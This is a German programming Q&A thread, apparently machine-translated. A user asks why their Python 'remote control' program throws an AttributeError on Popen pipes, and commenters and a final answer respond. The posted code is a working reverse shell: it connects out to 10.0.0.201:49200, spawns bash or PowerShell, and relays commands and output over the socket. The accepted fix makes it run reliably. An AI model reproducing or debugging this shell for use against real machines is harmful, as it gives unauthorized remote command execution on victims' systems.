2017-06-04 3 views
0

Ich arbeite an einem kurzen, nativen (nicht empfehlen, ein externes [non-native] Modul wie pexpect), Cross-Plattform, unsichere Remote Control-Anwendung für Python (Windows wird Verwenden Sie py2exe und eine EXE-Datei. Ich verwende start_new_thread für die blockierenden Aufrufe wie readline(). Aus irgendeinem Grund, erhalten aber ich diese Zeichenfolge von Hässlichkeit als meine Ausgabe:Subprozess Popen.stdin.write verursacht AttributeError

Unhandled exception in thread started by <function read_stream at 0xb6918730>Unhandled exception in thread started by <function send_stream at 0xb69186f0> 
Traceback (most recent call last): 

Traceback (most recent call last): 
    File "main.py", line 17, in read_stream 
    s.send(pipe.stdout.readline()) 
AttributeError File "main.py", line 14, in send_stream 
    pipe.stdin.write(s.recv(4096)) 
AttributeError: 'NoneType' object has no attribute 'stdin' 
: 'NoneType' object has no attribute 'stdout' 

Hier mein Programm ist (main.py):

#!/usr/bin/env python 
import socket 
import subprocess as sp 
from thread import start_new_thread 
from platform import system 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect(('10.0.0.201', 49200)) 
shell = 'powershell.exe' if system() == 'Windows' else '/bin/bash' # is this right?  
pipe = sp.Popen(shell, shell=True, stdin=sp.PIPE, stdout=sp.PIPE, stderr=sp.PIPE) 
entered_command=False 
def send_stream(): # send what you get from command center 
     while True: 
       pipe.stdin.write(s.recv(4096)) 
def read_stream(): # send back what is returned from shell command 
     while True: 
       s.send(pipe.stdout.readline()) 
start_new_thread(send_stream,()) 
start_new_thread(read_stream,()) 

Vielen Dank für Ihre Hilfe.

+0

'pipe' kann nicht sein' None'. Vielleicht könnten Sie das Socket-Zeug entfernen, um ein einfaches [mcve] –

+0

zu erstellen Ja, das bedeutet, dass 'pipe' None ist. Fügen Sie hierfür Tests ein, wenn Sie erstellt wurden. Wenn dort gültig, fügen Sie Tests in die Thread-Funktionen ein –

+0

Ist dieser __exact__ Code sicher, der den Fehler auslöst? Ich habe über den 'subprocess.Popen'-Konstruktor gelesen, dass es Ausnahmen auslösen würde, wenn Dinge schief gehen, aber' None' nicht zurückgeben. – CristiFati

Antwort

0

Es stellt sich heraus, dass das Problem ist, dass das Programm versuchte, nach den zwei start_new_thread-Aufrufe zu beenden, weil es das Ende erreicht hatte, und Fehler verursachte, während er dies versuchte. So ersetzt I:

start_new_thread(send_stream,()) 
start_new_thread(read_stream,()) 

mit:

start_new_thread(send_stream,()) 
read_stream()